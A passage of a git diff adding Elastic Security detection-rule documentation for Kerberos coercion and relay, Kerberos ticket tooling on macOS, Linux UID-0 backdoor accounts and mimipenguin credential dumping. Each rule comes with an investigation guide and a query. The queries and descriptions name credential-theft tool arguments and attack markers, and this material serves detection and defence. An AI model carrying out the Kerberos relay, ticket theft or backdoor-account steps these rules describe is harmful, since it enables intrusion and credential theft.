guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.args like~ "-action" and + ( + process.args like~ ("-kerberoast", "askhash", "asktgs", "asktgt", "s4u") or + (process.args like~ "-ticket" and process.args like~ "ptt") or + (process.args like~ "dump" and process.args in~ ("tickets", "keytab")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Sub-technique: +** Name: Ccache Files +** ID: T1558.005 +** Reference URL: https://attack.mitre.org/techniques/T1558/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc new file mode 100644 index 0000000000..c8a831f241 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-potential-kerberos-coercion-via-dns-based-spn-spoofing]] +=== Potential Kerberos Coercion via DNS-Based SPN Spoofing + +Identifies the creation of a DNS record containing a base64-encoded blob matching the pattern "UWhRCA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. It is associated with tools and techniques that exploit SPN spoofing via DNS. Adversaries may abuse this to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services (often the victim's own identity). This enables reflective Kerberos relay attacks, potentially resulting in privileged access such as NT AUTHORITY\SYSTEM, without relying on NTLM fallback. + +*Rule type*: query + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 +* https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/ +* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html +* https://github.com/CICADA8-Research/RemoteKrbRelay/blob/main/README.md +* https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Kerberos Coercion via DNS-Based SPN Spoofing* + + + +*Possible investigation steps* + + +- Review the event logs on the affected Windows host to confirm the presence of event code 5137, which indicates a directory service object modification. +- Inspect the ObjectDN field to identify the full distinguished name of the created DNS record. Look for entries containing Base64-encoded segments matching UWhRCA...BAAAA, which are indicative of an embedded CREDENTIAL_TARGET_INFORMATION payload used in SPN spoofing. +- Validate the associated user or computer account responsible for the DNS record creation. Investigate whether the account has legitimate administrative access to modify DNS zones or whether it may have been compromised. +- Correlate with DNS query logs and network telemetry to determine if the suspicious DNS hostname was later queried or resolved by other hosts on the network. A match suggests the attacker moved forward with the coercion attempt. +- Assess the permissions and access controls on the DNS zones to ensure they are appropriately configured and restrict unnecessary modifications by authenticated users. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. + + +*Response and remediation* + + +- Review and remove the malicious DNS record containing the embedded CREDENTIAL_TARGET_INFORMATION Base64 payload (UWhRCA...BAAAA). Ensure that no additional coercion records exist in the same DNS zone. +- Identify the source of the DNS modification by correlating the event with user context and host activity. Investigate whether the account used was compromised or misused. +- Audit Kerberos ticket activity following the DNS record creation. Look for suspicious service ticket requests (Event ID 4769) or authentication attempts that could indicate a relay or privilege escalation attempt. +- Temporarily isolate involved systems if signs of compromise or lateral movement are detected, especially if the record was successfully resolved and used for coercion. +- Monitor network traffic for signs of Man-in-the-Middle activity, focusing on unusual DNS queries or redirections. +- Escalate the incident to the security operations center (SOC) for further investigation and to assess the potential impact on other systems. + + +==== Setup + + + +*Setup* + + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + +The above policy does not cover the target object by default (we still need it to be configured to generate events), so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule. + +``` +Set-AuditRule -AdObjectPath 'AD:\CN=MicrosoftDNS,DC=DomainDNSZones,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights CreateChild -InheritanceFlags Descendents -AttributeGUID e0fa1e8c-9b45-11d0-afdd-00c04fd930c9 -AuditFlags Success +``` + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"windows" and +( + (event.code:4662 and winlog.event_data.AdditionalInfo: *UWhRC*BAAAA*MicrosoftDNS*) or + (event.code:5137 and winlog.event_data.ObjectDN: *UWhRC*BAAAA*MicrosoftDNS*) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-relay-attack-against-a-computer-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-relay-attack-against-a-computer-account.asciidoc new file mode 100644 index 0000000000..d002ed2218 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-relay-attack-against-a-computer-account.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-potential-kerberos-relay-attack-against-a-computer-account]] +=== Potential Kerberos Relay Attack against a Computer Account + +Detects potential relay attacks by identifying coercion attempts followed by authentication events using a target server's computer account, originating from a different host. This may indicate that an attacker has captured and relayed the server's computer account hash to execute code on behalf of the compromised system. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/p0dalirius/windows-coerced-authentication-methods +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications +* https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 +* https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/ +* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html +* https://github.com/CICADA8-Research/RemoteKrbRelay/blob/main/README.md +* https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Kerberos Relay Attack against a Computer Account* + + + +*Possible investigation steps* + + +- Compare the source.ip to the target server host.ip addresses to make sure it's indeed a remote use of the machine account. +- Examine the source.ip activities as this is the attacker IP address used to relay. +- Review all relevant activities such as services creation, file and process events on the target server within the same period. +- Verify the machine account names that end with a dollar sign ($) to ensure they match the expected hostnames, and investigate any discrepancies. +- Check the network logon types to confirm if they align with typical usage patterns for the identified machine accounts. +- Investigate the context of the source IP addresses that do not match the host IP, looking for any signs of unauthorized access or unusual network activity. +- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack. + + +*False positive analysis* + + +- Machine accounts performing legitimate network logons from different IP addresses can trigger false positives. To manage this, identify and whitelist known IP addresses associated with legitimate administrative tasks or automated processes. +- Scheduled tasks or automated scripts that use machine accounts for network operations may be flagged. Review and document these tasks, then create exceptions for their associated IP addresses and hostnames. +- Load balancers or proxy servers that alter the source IP address of legitimate authentication requests can cause false alerts. Ensure these devices are accounted for in the network architecture and exclude their IP addresses from the rule. +- Temporary network reconfigurations or migrations might result in machine accounts appearing to log in from unexpected hosts. During such events, temporarily adjust the rule parameters or disable the rule to prevent unnecessary alerts. +- Regularly review and update the list of exceptions to ensure they reflect current network configurations and operational practices, minimizing the risk of overlooking genuine threats. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. + - If the involved server is a Domain Controller, coordinate the isolation of the server with infrastructure and identity teams to contain the threat while preserving service availability and forensic evidence. Prioritize this step if active compromise or attacker persistence is confirmed.- Reset the domain controller's machine account password, along with any accounts suspected to be compromised or exposed. Ensure strong, unique credentials are used and apply tiered credential hygiene where applicable. +- Reset the domain controller's machine account password, along with any accounts suspected to be compromised or exposed. Ensure strong, unique credentials are used and apply tiered credential hygiene where applicable. +- Analyze recent authentication logs, event logs, and network traffic, focusing on suspicious activity and the source IPs referenced in the alert. Correlate findings to identify any lateral movement or additional compromised systems. +- Strengthen network segmentation, especially between domain controllers, administrative workstations, and critical infrastructure. This limits the attack surface and impedes credential relay or reuse across systems. +- Escalate the incident to the SOC or incident response team to coordinate a full investigation, containment, and recovery plan. Ensure stakeholders are kept informed throughout the response. +- Enhance detection mechanisms by tuning alerts and deploying additional telemetry focused on credential relay patterns, anomalous authentication, and NTLM-related activity. +- Conduct a structured post-incident review, documenting findings, identifying control gaps, and updating playbooks, configurations, or security policies to reduce the likelihood of similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, source.ip with maxspan=5s + +/* Filter for an event that indicates coercion against known abused named pipes using an account that is not the host */ +[file where host.os.type == "windows" and event.code : "5145" and + not startswith~(winlog.computer_name, substring(user.name, 0, -1)) and + file.name : ( + "Spoolss", "netdfs", "lsarpc", "lsass", "netlogon", "samr", "efsrpc", "FssagentRpc", + "eventlog", "winreg", "srvsvc", "dnsserver", "dhcpserver", "WinsPipe" + )] + +/* Detects a logon attempt using the Kerberos protocol resulting from the coercion coming from the same IP address */ +[authentication where host.os.type == "windows" and event.code in ("4624", "4625") and + endswith~(user.name, "$") and winlog.logon.type : "network" and + winlog.event_data.AuthenticationPackageName : "Kerberos" and + + /* Filter for a machine account that matches the hostname */ + startswith~(winlog.computer_name, substring(user.name, 0, -1)) and + + /* Verify if the Source IP belongs to the host */ + not endswith(string(source.ip), string(host.ip)) and + source.ip != null and source.ip != "::1" and source.ip != "127.0.0.1"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-spn-spoofing-via-suspicious-dns-query.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-spn-spoofing-via-suspicious-dns-query.asciidoc new file mode 100644 index 0000000000..3e6c0c430d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-spn-spoofing-via-suspicious-dns-query.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-20-potential-kerberos-spn-spoofing-via-suspicious-dns-query]] +=== Potential Kerberos SPN Spoofing via Suspicious DNS Query + +Identifies queries to a DNS record containing a base64-encoded blob matching the pattern "UWhRCA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. It is associated with tools and techniques that exploit SPN spoofing via DNS. Adversaries may abuse this to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services (often the victim's own identity), enabling attacks such as NTLM reflection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 +* https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/ +* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html +* https://github.com/CICADA8-Research/RemoteKrbRelay/blob/main/README.md +* https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Kerberos SPN Spoofing via Suspicious DNS Query* + + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the system that issued the DNS query for the suspicious hostname. Determine whether it is a server or an end user device. This technique is typically only relevant against server systems, but queries originating from workstations may indicate compromise or misuse. +- Identify attacker-controlled system by getting the IP addresses (`dns.resolved_ip`) that this DNS query resolved to by looking for the related `lookup_result` events. + - !{investigate{"label":"Show the related DNS events","providers":[[{"excluded":false,"field":"dns.question.name","queryType":"phrase","value":"{{dns.question.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- If this alert was triggered on a domain controller, escalate the investigation to involve the incident response team to determine the full scope of the breach as soon as possible. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. + + +*Response and remediation* + + +- Review and remove malicious DNS records containing the embedded CREDENTIAL_TARGET_INFORMATION Base64 payload (UWhRCA...BAAAA). Ensure that no additional coercion records exist in the same DNS zone. +- Isolate involved systems if signs of compromise or lateral movement are detected, especially if the record was successfully resolved and used for coercion. +- Monitor network traffic for signs of Man-in-the-Middle activity, focusing on unusual DNS queries or redirections. +- Escalate the incident to the security operations center (SOC) for further investigation and to assess the potential impact on other systems. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and dns.question.name : "*UWhRC*BAAAA*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-backdoor-user-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-backdoor-user-account-creation.asciidoc new file mode 100644 index 0000000000..6183236a9e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-backdoor-user-account-creation.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-20-potential-linux-backdoor-user-account-creation]] +=== Potential Linux Backdoor User Account Creation + +Identifies the attempt to create a new backdoor user by setting the user's UID to 0. Attackers may alter a user's UID to 0 to establish persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Linux Backdoor User Account Creation* + + +The `usermod` command is used to modify user account attributes and settings in Linux-based operating systems. + +Attackers may create new accounts with a UID of 0 to maintain root access to target systems without leveraging the root user account. + +This rule identifies the usage of the `usermod` command to set a user's UID to 0, indicating that the user becomes a root account. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + +- Investigate the user account that got assigned a uid of 0, and analyze its corresponding attributes. + - !{osquery{"label":"Osquery - Retrieve User Accounts with a UID of 0","query":"SELECT description, gid, gid_signed, shell, uid, uid_signed, username FROM users WHERE username != 'root' AND uid LIKE\n'0'\n"}} +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Identify if the account was added to privileged groups or assigned special privileges after creation. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific Group","query":"SELECT * FROM groups WHERE groupname = {{group.name}}"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Delete the created account. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "usermod" and process.args in ("-u", "--uid") and process.args == "0" and +process.args in ("-o", "--non-unique") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-proc-filesystem.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-proc-filesystem.asciidoc new file mode 100644 index 0000000000..5ab09fb5d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-proc-filesystem.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-proc-filesystem]] +=== Potential Linux Credential Dumping via Proc Filesystem + +Identifies the execution of the mimipenguin exploit script which is linux adaptation of Windows tool mimikatz. Mimipenguin exploit script is used to dump clear text passwords from a currently logged-in user. The tool exploits a known vulnerability CVE-2018-20781. Malicious actors can exploit the cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/huntergregal/mimipenguin +* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Credential Dumping via Proc Filesystem* + + +The /proc filesystem in Linux provides a window into the system's processes, offering details like memory usage and command-line arguments. Adversaries exploit this by using tools like mimipenguin to extract plaintext credentials from memory, leveraging vulnerabilities such as CVE-2018-20781. The detection rule identifies suspicious sequences involving the 'ps' and 'strings' commands, which are indicative of attempts to access and parse sensitive data from the /proc filesystem. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id where the suspicious activity was detected, focusing on the processes involved. +- Examine the process execution history on the affected host to confirm the presence of the 'ps' and 'strings' commands executed in sequence, as indicated by the query. +- Investigate the command-line arguments used with the 'ps' and 'strings' commands to determine if they match the suspicious patterns specified in the query, such as '-eo pid command' and '/tmp/*'. +- Check for any recent modifications or suspicious files in the /tmp directory on the affected host, as this is a common location for temporary files used in attacks. +- Analyze the system logs and any available network traffic data to identify potential lateral movement or data exfiltration attempts following the credential dumping activity. +- Assess the system for any signs of compromise or additional malicious activity, such as unauthorized user accounts or unexpected network connections. +- Consider isolating the affected host from the network to prevent further credential exposure and initiate a comprehensive forensic analysis to understand the full scope of the incident. + + +*False positive analysis* + + +- System administrators or monitoring tools may use the 'ps' and 'strings' commands for legitimate system diagnostics and performance monitoring. To mitigate this, create 